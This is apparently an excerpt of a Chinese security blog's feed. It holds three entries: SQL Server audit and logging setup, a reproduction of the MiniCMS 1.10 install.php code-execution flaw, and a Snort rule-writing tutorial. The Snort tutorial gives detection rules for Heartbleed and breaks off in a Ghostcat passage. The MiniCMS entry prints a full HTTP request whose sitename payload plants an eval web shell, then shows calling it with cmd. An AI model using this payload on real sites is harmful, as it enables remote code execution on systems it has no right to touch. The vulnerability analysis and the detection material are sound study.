additional_information:&amp;lt;action_info xmlns=&amp;quot;&lt;a href=&quot;http://schemas.microsoft.com/sqlserver/2008/sqlaudit_data&quot;&gt;http://schemas.microsoft.com/sqlserver/2008/sqlaudit_data&lt;/a&gt;&amp;quot;&amp;gt;&amp;lt;session&amp;gt;&amp;lt;![CDATA[ME_LOG3609eba5bb3_96a5_488a_86de_7da88d6bcddd$A]]&amp;gt;&amp;lt;/session&amp;gt;&amp;lt;action&amp;gt;event enabled&amp;lt;/action&amp;gt;&amp;lt;startup_type&amp;gt;manual&amp;lt;/startup_type&amp;gt;&amp;lt;object&amp;gt;&amp;lt;![CDATA[audit_event]]&amp;gt;&amp;lt;/object&amp;gt;&amp;lt;/action_info&amp;gt;
user_defined_information:
application_name:jTDS
connection_id:9F7DA3E0-7681-433F-B490-75CFB8F976AA
data_sensitivity_information:
host_name:DESKTOP-1P14TIC&lt;/div&gt;
&lt;p&gt;开启审核sql语句&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-SQL&quot;&gt;USE [master]
GO

/****** Object:  Audit [ME_LOG3609eba5bb3_96a5_488a_86de_7da88d6bcddd]    Script Date: 2022/11/30 15:23:10 ******/
CREATE SERVER AUDIT [ME_LOG3609eba5bb3_96a5_488a_86de_7da88d6bcddd]
TO APPLICATION_LOG WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE, AUDIT_GUID = &apos;000f42ac-3e36-46c8-9903-5d24c6d97dbb&apos;)
ALTER SERVER AUDIT [ME_LOG3609eba5bb3_96a5_488a_86de_7da88d6bcddd] WITH (STATE = ON)
GO&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;新建审核策略sql语句&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-SQL&quot;&gt;USE [master]
GO

CREATE SERVER AUDIT SPECIFICATION [ME_LOG360a9914bde_1851_49bd_ab19_8ed8393992c1]
FOR SERVER AUDIT [ME_LOG3609eba5bb3_96a5_488a_86de_7da88d6bcddd]
ADD (SCHEMA_OBJECT_ACCESS_GROUP),
ADD (DATABASE_ROLE_MEMBER_CHANGE_GROUP),
ADD (SERVER_ROLE_MEMBER_CHANGE_GROUP),
ADD (FAILED_LOGIN_GROUP),
ADD (SUCCESSFUL_LOGIN_GROUP),
ADD (DATABASE_CHANGE_GROUP),
ADD (DATABASE_OBJECT_CHANGE_GROUP),
ADD (DATABASE_PRINCIPAL_CHANGE_GROUP),
ADD (SCHEMA_OBJECT_CHANGE_GROUP),
ADD (SERVER_PRINCIPAL_CHANGE_GROUP),
ADD (LOGIN_CHANGE_PASSWORD_GROUP),
ADD (SERVER_STATE_CHANGE_GROUP)
WITH (STATE = ON)
GO&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;审核策略相关sql语句&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-SQL&quot;&gt;
EXEC sp_altermessage 211,&apos;WITH_LOG&apos;,TRUE  #将现有消息211记录到windows应用程序日志中
EXEC sp_altermessage 427,&apos;WITH_LOG&apos;,TRUE
610,2509,2510,2514,8440,9100,15612,15615.....


SELECT MAX(SUSER_SNAME([Transaction SID])) USERNAME , @@ServerName servername, DB_NAME() dbname,MAX([Begin Time]) BEGINTIME,MAX([End Time]) ENDTIME,MAX([Transaction SID]) TransactionSID,MAX(AllocUnitName) AllocUnitName,MAX([Current LSN]) CURR FROM fn_dblog(NULL,NULL) WHERE [Transaction ID] IN (SELECT distinct([Transaction ID]) FROM fn_dblog(NULL,NULL) WHERE  OPERATION=&apos;LOP_DELETE_ROWS&apos; ) Group by [Transaction ID] ORDER BY CURR ASC

select @@SERVERNAME,LOGINNAME,SID,CREATEDATE,UPDATEDATE,SYSADMIN,SECURITYADMIN,SERVERADMIN,SETUPADMIN,PROCESSADMIN,DISKADMIN,DBCREATOR,BULKADMIN,REPLACE(RTRIM(LTRIM(REPLACE((case when SYSADMIN = 1 then &apos;SysAdmin,&apos; else &apos;&apos; end) + (case when SECURITYADMIN = 1 then &apos;SecurityAdmin,&apos; else &apos;&apos; end) +(case when SERVERADMIN = 1 then &apos;ServerAdmin,&apos; else &apos;&apos; end) +(case when SETUPADMIN = 1 then &apos;SetupAdmin,&apos; else &apos;&apos; end) + (case when PROCESSADMIN = 1 then &apos;ProcessAdmin,&apos; else &apos;&apos; end) + (case when DBCREATOR = 1 then &apos;DBCreator,&apos; else &apos;&apos; end) + (case when BULKADMIN = 1 then &apos;BulkAdmin,&apos; else &apos;&apos; end),&apos;,&apos;,&apos; &apos;))),&apos; &apos;,&apos;,&apos;)as Roles from master..syslogins where updatedate &amp;gt; &apos;1800-01-01 00:00:00.000&apos;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;参考：&lt;a href=&quot;https://learn.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-altermessage-transact-sql?view=sql-server-ver16&quot;&gt;https://learn.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-altermessage-transact-sql?view=sql-server-ver16&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;7. 策略相关事件id列表&lt;/h3&gt;
&lt;p&gt;共45个id，&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-SQL&quot;&gt;EXEC sp_altermessage 211,&apos;WITH_LOG&apos;,TRUE   #将现有消息211记录到windows应用程序日志中
EXEC sp_altermessage 28048,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 18488,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 18487,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 18486,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 18471,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 18470,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 18468,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 18467,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 18466,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 18465,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 18464,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 18463,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 18462,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 18461,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 18456,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 18451,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 18401,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 15538,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 15537,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 28046,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 18455,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 18454,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 18453,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 17311,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 17308,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 5011,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 916,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 300,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 262,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 230,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 229,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 18100,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 825,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 806,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 17557,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 15615,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 15612,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 9100,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 8440,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 2514,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 2510,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 2509,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 610,&apos;WITH_LOG&apos;,TRUE
EXEC sp_altermessage 427,&apos;WITH_LOG&apos;,TRUE

仅id：211,28048,18488,18487,18486,18471,18470,18468,18467,18466,18465,18464,18463,18462,18461,18456,18451,18401,15538,15537,28046,18455,18454,18453,17311,17308,5011,916,300,262,230,229,18100,825,806,17557,15615,15612,9100,8440,2514,2510,2509,610,427&lt;/code&gt;&lt;/pre&gt;





























</content:encoded>
        </item>
        <item>
            <title><![CDATA[MiniCMS代码执行漏洞]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/minicms代码执行漏洞</link>
            <guid isPermaLink="true">https://z-zh.lol/minicms代码执行漏洞</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>
&lt;h2&gt;简述&lt;/h2&gt;
&lt;p&gt;根据CVE漏洞情报描述，MiniCMS 1.10 允许通过 &lt;code&gt;install.php&lt;/code&gt; &lt;code&gt;sitename&lt;/code&gt; 参数执行任意 PHP 代码，这会影响 &lt;code&gt;mc_conf.php&lt;/code&gt; 中的 &lt;code&gt;site_name&lt;/code&gt; 字段。实际上，漏洞点不止一个&lt;code&gt;sitename&lt;/code&gt;参数。&lt;/p&gt;
&lt;h2&gt;漏洞环境&lt;/h2&gt;

&lt;p&gt;下载1.10版本&lt;/p&gt;
&lt;p&gt;解压后命名将文件夹为&lt;code&gt;minicms&lt;/code&gt;，移动文件夹到web目录下，并将&lt;code&gt;minicms&lt;/code&gt;目录下的&lt;code&gt;install.txt&lt;/code&gt;文件修改为&lt;code&gt;install.php&lt;/code&gt; ，访问 &lt;code&gt;http://yourip/minicms/install.php&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F21231520-797b-408c-add5-345a1a1b88ab%2FUntitled.png?table=block&amp;amp;id=e5373c3c-6209-4234-8f3d-4cfc833a7c38&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;（下载的是1.10，不知道为什么显示v1.9）&lt;/p&gt;
&lt;p&gt;点击提交并抓包&lt;/p&gt;
&lt;h2&gt;复现&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-PHP&quot;&gt;POST /minicms/install.php HTTP/1.1
Host: 192.168.249.128:81
Content-Length: 98
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.249.128:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.246 Safari/537.36 Qaxbrowser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.249.128:81/minicms/install.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

sitename=&apos;%29;eval($_REQUEST[&apos;cmd&apos;]);/*&amp;amp;sitelink=http%3A%2F%2F192.168.249.128:81%2Fminicms&amp;amp;nickname=%E7%A5%9E%E7%A7%98%E4%BA%BA&amp;amp;username=admin&amp;amp;password=123456&amp;amp;start_install=%E5%BC%80%E5%A7%8B%E5%AE%89%E8%A3%85&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将&lt;code&gt;sitename&lt;/code&gt;修改为以上的payload &lt;code&gt;&apos;%29;eval($_REQUEST[&apos;cmd&apos;]);/*&lt;/code&gt; ，返回200&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F30ae7356-f8d4-484c-a67b-07acf2175b1c%2FUntitled.png?table=block&amp;amp;id=6b780ab9-3fe0-4959-8ec3-c2eff4a4b100&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;访问shell  &lt;code&gt;http://yourip/minicms/?cmd=phpinfo();&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fe8749576-7640-4bf8-8633-1a9957cefc56%2FUntitled.png?table=block&amp;amp;id=7a468dd2-7e42-4575-8c84-cd1a96f25d0a&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h2&gt;漏洞成因&lt;/h2&gt;
&lt;h3&gt;代码&lt;/h3&gt;
&lt;p&gt;查看&lt;code&gt;install.php&lt;/code&gt; ，显然，安装完成后这个文件自己删除了，所以需要备份&lt;code&gt;install.txt&lt;/code&gt;查看&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F1880ba1e-bb0c-4a6f-a8ea-b4c5277e40ff%2FUntitled.png?table=block&amp;amp;id=85fd6497-195c-487b-8079-3b7226979750&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;首先通过 &lt;code&gt;start_install&lt;/code&gt; 参数判断请求操作&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fdb9e4b5f-ad3c-47d5-9899-54215639647e%2FUntitled.png?table=block&amp;amp;id=cf54e15e-89fe-4709-a884-0ed757afa1a9&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;接着判断配置文件 &lt;code&gt;mc-conf.php&lt;/code&gt; 是否存在，来判断进行第一次安装还是升级&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F53a57dd0-6c76-44d2-9435-8a7e13dc6226%2FUntitled.png?table=block&amp;amp;id=54b1cfcd-ddad-410a-aee8-ad796b6003b8&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;来到漏洞关键的代码，如果&lt;code&gt;start_install&lt;/code&gt;非空，进行安装，&lt;code&gt;file_put_contents&lt;/code&gt;将 &lt;code&gt;sitelink&lt;/code&gt; 等参数直接写进 mc-&lt;code&gt;conf.php&lt;/code&gt; 配置文件，同时这5个参数是用户可控的&lt;/p&gt;
&lt;p&gt;后续代码创建其他一些索引文件，最后 &lt;code&gt;unlink &lt;/code&gt;删除自身，显然，这个漏洞一般没法利用，逻辑上来说安装完网站后不存在漏洞利用，只能在安装的时候被利用一次，只有监守自盗的可能了。&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F9bee8b9a-6c77-4e21-b657-a9591094ac12%2FUntitled.png?table=block&amp;amp;id=b18b56af-a35a-4de6-9d1c-636016a1eaa5&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h3&gt;配置文件&lt;/h3&gt;
&lt;p&gt;看看创建后的 &lt;code&gt;mc-conf.php&lt;/code&gt; &lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fc3e6a851-4fb8-4d53-a514-7b075be0a7be%2FUntitled.png?table=block&amp;amp;id=c8e84a81-b8b7-4bd1-9bab-3ec76011044a&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;很直接简单的拼接，每个参数的格式一样，只需要闭合前面的  &lt;code&gt;&apos;)&lt;/code&gt; ，同时注释后续的代码，即可在中间拼接恶意代码。通过测试，注入点并非如通告所说只有&lt;code&gt;sitename&lt;/code&gt;，而是&lt;code&gt;sitelink&lt;/code&gt;,&lt;code&gt;username&lt;/code&gt;,&lt;code&gt;password&lt;/code&gt;,&lt;code&gt;nickname&lt;/code&gt;均可以作为注入点&lt;/p&gt;
</content:encoded>
        </item>
        <item>
            <title><![CDATA[巧用snort规则关键字，让入侵检测事半功倍]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/巧用snort规则关键字让入侵检测事半功倍</link>
            <guid isPermaLink="true">https://z-zh.lol/巧用snort规则关键字让入侵检测事半功倍</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>

&lt;h2&gt;0. Snort简介&lt;/h2&gt;
&lt;p&gt;作为入侵检测届大名鼎鼎的前辈，snort是每一个从事入侵检测工作的安全人员成长过程中所绕不开的。snort体量非常轻便，但出色的扩展性又成就了强大的流量检测功能，可谓真正的小而美，开源的代码被后来的众多入侵检测产品当作模板所借鉴、学习。&lt;/p&gt;
&lt;p&gt;snort是基于模式匹配的入侵检测系统，指的是系统预先定义一些入侵的特征码，在数据包到达时将其与特征码相匹配，以此来判断数据包是否包含了入侵行为。而本文探讨的正是决定其检测能力的重要因素——规则的编写。&lt;/p&gt;
&lt;h2&gt;1. 常见关键字&lt;/h2&gt;
&lt;p&gt;一条简单的snort规则（检测uri中包含有&lt;code&gt;phpinfo.php&lt;/code&gt;字符串的数据包）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-PHP&quot;&gt;alert tcp $EXTERNAL_NET any -&amp;gt; $HOME_NET $HTTP_PORTS (content:&amp;quot;phpinfo.php&amp;quot;; http_uri;)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;规则分为规则头和规则选项，规则头即检测动作&lt;code&gt;(alert,drop,pass,reject)&lt;/code&gt; 和五元组加上流量流向，这部分没有太多可琢磨的选项，重点是后续的规则选项不仅可以检测固定字符的数据，而且通过关键字的组合搭配可以检测复杂、多变的数据包。&lt;/p&gt;
&lt;h3&gt;1.1 content&lt;/h3&gt;
&lt;p&gt;作为模式匹配，最重要、最常用、最好用、也最简单的就是&lt;code&gt;content&lt;/code&gt;关键字，当执行content选项进行模式匹配时，会调用snort的字符串搜索算法&lt;code&gt;Boyer-Moore&lt;/code&gt; ，对数据包内容进行测试。如果在payload中指定位置捕获到与&lt;code&gt;content &lt;/code&gt;字符串完全匹配的数据，则匹配成功，此处的完全匹配就是&lt;code&gt;content&lt;/code&gt; 最大的特点了，即大小写敏感且完全作为字符串，其内容只有两种形式——一种是与特征码一模一样的字符串，另一种是十六进制，需要用竖杠包裹。&lt;/p&gt;
&lt;p&gt;例如，上述&lt;code&gt;content&lt;/code&gt;也可以写成&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-PHP&quot;&gt;content:&amp;quot;phpinfo|2e|php&amp;quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;除此之外，content唯一可以变通的就是取反，例如，想检测 &lt;code&gt;uri&lt;/code&gt; 中不包含&lt;code&gt;phpinfo.php&lt;/code&gt;字符串的情况可以编写如下&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-PHP&quot;&gt;content:!&amp;quot;phpinfo|2e|php&amp;quot;; http_uri; &lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;想要其大小写不敏感，只需要在其后加入 &lt;code&gt;nocase;&lt;/code&gt; 即可，以上是最基础和简单的用法&lt;/p&gt;
&lt;p&gt;接下来是content 的一个重要修饰词 &lt;code&gt;fast_pattern&lt;/code&gt; ，由于&lt;code&gt;snort&lt;/code&gt;对&lt;code&gt;content&lt;/code&gt;的默认行为是使用长度最长的一个优先进行匹配，但长度长不代表最具有对应漏洞特征，假如短 &lt;code&gt;content&lt;/code&gt; 更具特殊性，&lt;code&gt;fast_pattern&lt;/code&gt; 便大有用处。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;fast_pattern&lt;/code&gt;  用于仅选择其修饰的&lt;code&gt;content&lt;/code&gt;用于评估，若payload命中该&lt;code&gt;content&lt;/code&gt;才会对规则进行评估，否则跳过，这样显然可以通过提取每条规则中的独特特征大大缩短&lt;code&gt;snort&lt;/code&gt;的性能开销。&lt;/p&gt;
&lt;p&gt;同时，&lt;code&gt;only&lt;/code&gt; 可用于指定 &lt;code&gt;fast_pattern&lt;/code&gt; 修饰的&lt;code&gt;content&lt;/code&gt;仅用于快速模式，而不作为规则评估&lt;/p&gt;
&lt;blockquote&gt;注：&lt;code&gt;fast_pattern:only;&lt;/code&gt; 修饰的content （1）不区分大小写；（2）不能取反；（3）不能有位置修饰符&lt;/blockquote&gt;
&lt;h3&gt;1.2 pcre&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;pcre&lt;/code&gt; 允许使用与&lt;code&gt;perl&lt;/code&gt; 兼容的正则表达式进行评估，所有的语法与普通正则一致，可在 &lt;/p&gt;
&lt;p&gt;🔗 &lt;a href=&quot;https://regex101.com/&quot;&gt;regex101: build, test, and debug regex&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;该网站上查询到所有可用语法，并可在线校验正则有效性&lt;/p&gt;
&lt;p&gt;pcre是应对复杂多变的流量特征时不可或缺的一个关键字，同时也比较占用性能资源，但倘若拥有一条严谨、完美的正则，往往令评估事半功倍。&lt;/p&gt;
&lt;h2&gt;2 byte系列&lt;/h2&gt;
&lt;p&gt;在HTTP协议中不常用，但是在其他TCP/UDP协议中常用且非常高效的几个关键字，也正是这些关键字使得简短的规则变得变幻莫测。这里举例三个通过&lt;strong&gt;动态获取数据包中不固定位置字符并能据此进行其他操作&lt;/strong&gt;的关键字。&lt;/p&gt;
&lt;h3&gt;2.1 byte_test&lt;/h3&gt;
&lt;p&gt;顾名思义，是取指定位置上的特定值，使用运算符与给定值进行测试字节字段。 能够测试二进制值或将具有代表性的字节字符串转换为等效的二进制并对其进行测试，结果为true则命中&lt;/p&gt;
&lt;h4&gt;格式&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-Bash&quot;&gt;byte_test:&amp;lt;bytes_to_convert&amp;gt;,[!]&amp;lt;operator&amp;gt;,&amp;lt;value&amp;gt;,&amp;lt;offset&amp;gt;[,&amp;lt;relative&amp;gt;]\
				[,&amp;lt;endian&amp;gt;][,string,&amp;lt;number type&amp;gt;][,dce][,bitmask&amp;lt;bitmask_value&amp;gt;];&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;byte_to_convert&lt;/code&gt; 从数据包取得的字节数 = &lt;code&gt;1-10&lt;/code&gt; &lt;/p&gt;&lt;p&gt;ps：不使用dce时可使用的值为1-10，使用dce时的值为1，2，4&lt;/p&gt;
&lt;p&gt;&lt;code&gt;operator&lt;/code&gt; 对测试值执行的操作 = &lt;code&gt;&amp;lt;  =  &amp;gt;  &amp;lt;=  &amp;gt;=  &amp;amp;  ^&lt;/code&gt;  也就是等于还是小于大于.....&lt;/p&gt;
&lt;p&gt;&lt;code&gt;value&lt;/code&gt; 与测试值进行比较的转换后的值 = &lt;code&gt;0-4294967295&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;offset&lt;/code&gt; 偏移量 =&lt;code&gt; -65535-65535&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;relative&lt;/code&gt; 使用相对于上一个模式匹配的相对偏移&lt;/p&gt;
&lt;p&gt;&lt;code&gt;endian&lt;/code&gt;  正在读取的数字的字节序类型，有默认 &lt;code&gt;big&lt;/code&gt; 大端和 &lt;code&gt;little&lt;/code&gt; 小端&lt;/p&gt;
&lt;p&gt;&lt;code&gt;string&lt;/code&gt;  数据以字符串形式存在数据包中&lt;/p&gt;
&lt;p&gt;&lt;code&gt;number type&lt;/code&gt;  转换后的字符串数据以何种形式表示：hex - 十六进制；dec - 十进制；oct - 八进制&lt;/p&gt;
&lt;p&gt;&lt;code&gt;dce&lt;/code&gt;  使用DCE/RPC 2 预处理器执行 SMB 分段和 DCE/RPC 碎片整理，依此确定要转换的值的字节顺序&lt;/p&gt;
&lt;p&gt;&lt;code&gt;bitmask&lt;/code&gt;  对转换的字节进行 &lt;code&gt;与&lt;/code&gt; 运算&lt;/p&gt;
&lt;h4&gt;举个栗子&lt;/h4&gt;
&lt;p&gt;OpenSSL心脏滴血（HeartBleed）漏洞CVE-2014-0160，漏洞利用是攻击者改造带有特殊 &lt;code&gt;payload_length&lt;/code&gt; 的心跳包发送给服务器，由于&lt;code&gt;HeartBeat&lt;/code&gt;扩展不能正确识别恶意请求，导致服务器返回了超出设定值的信息，产生了溢出，造成数据泄露。&lt;/p&gt;
&lt;p&gt;可见，关键在于&lt;code&gt;payload_length&lt;/code&gt; 的长度是否异常，但这是一个阈值，使用&lt;code&gt;content&lt;/code&gt;或者&lt;code&gt;pcre&lt;/code&gt;无法准备判断其值大小，这时候 &lt;code&gt;btye_test&lt;/code&gt;  就派上大用场了&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F23b59abc-e098-4f34-bf90-b5199575ca17%2FUntitled.png?table=block&amp;amp;id=9952c47a-feb3-494c-9704-25bfd132a910&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;使用 &lt;code&gt;byte_test&lt;/code&gt; 取相应偏移位置上的&lt;code&gt;payload_length&lt;/code&gt; 值，比较其是否大于限定的 &lt;code&gt;16k&lt;/code&gt; 正常请求响应字节即可判断是否为恶意请求&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Perl&quot;&gt;content:&amp;quot;|18 03|&amp;quot;; depth:2; content:&amp;quot;|01|&amp;quot;; distance:3; within:1; byte_test:2,&amp;gt;=,16384,0,relative,big;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即相对前一个&lt;code&gt;content&lt;/code&gt;匹配到的&lt;code&gt;|01|&lt;/code&gt;后面，偏移0个字节后，取其后2个字节(&lt;code&gt;payload_length&lt;/code&gt;)转换成十进制与&lt;code&gt;16384&lt;/code&gt;(16k)比较，若该值大于 &lt;code&gt;16384&lt;/code&gt; ，&lt;code&gt;byte_test&lt;/code&gt;返回&lt;code&gt;true&lt;/code&gt;，即命中。&lt;/p&gt;
&lt;h3&gt;2.2 byte_extract&lt;/h3&gt;
&lt;p&gt;取得指定位置上的数据保存到一个变量中，此变量可在后续规则中使用，而不是使用硬编码值，一般与byte_test结合在一起&lt;/p&gt;
&lt;h4&gt;格式&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-Bash&quot;&gt;byte_extracr:&amp;lt;bytes_to_convert&amp;gt;,&amp;lt;offset&amp;gt;,&amp;lt;name&amp;gt;,[,&amp;lt;relative&amp;gt;]\
					[, multiplier &amp;lt;multiplier value&amp;gt;][, &amp;lt;endian&amp;gt;][, string][, hex][, dec][, oct] \
	        [, align &amp;lt;align value&amp;gt;][, dce][, bitmask &amp;lt;bitmask&amp;gt;];&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;byte_to_convert&lt;/code&gt; 从数据包取得的字节数&lt;/p&gt;
&lt;p&gt;&lt;code&gt;offset&lt;/code&gt; 偏移量&lt;/p&gt;
&lt;p&gt;&lt;code&gt;name&lt;/code&gt; 给取得的变量命名&lt;/p&gt;
&lt;p&gt;&lt;code&gt;relative&lt;/code&gt; 使用相对于上一个模式匹配的相对偏移&lt;/p&gt;
&lt;h4&gt;举个栗子&lt;/h4&gt;
&lt;p&gt;Apache Tomcat AJP连接器任意文件访问CVE-2020-1938，又称GhostCat幽灵猫。&lt;/p&gt;
&lt;p&gt;AJP协议是定向包（面向包）协议，采用二进制形式代替文本形式，协议由&lt;code&gt;magic number&lt;/code&gt; + &lt;code&gt;length&lt;/code&gt; + &lt;code&gt;AJP13_FORWARD_REQUEST&lt;/code&gt; 组成，其中，由 &lt;code&gt;server → contain&lt;/code&gt; 的 &lt;code&gt;magicnum&lt;/code&gt; 为 &lt;code&gt;0x1234&lt;/code&gt; ，相反则为 &lt;code&gt;AB&lt;/code&gt; ，&lt;code&gt;AJP13_FORWARD_REQUEST&lt;/code&gt;  的结构如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Plain Text&quot;&gt;AJP13_FORWARD_REQUEST :=
    prefix_code      (byte) 0x02 = JK_AJP13_FORWARD_REQUEST
    method           (byte)
    protocol         (string)
    req_uri          (string)
    remote_addr      (string)
    remote_host      (string)
    server_name      (string)
    server_port      (integer)
    is_ssl           (boolean)
    num_headers      (integer)
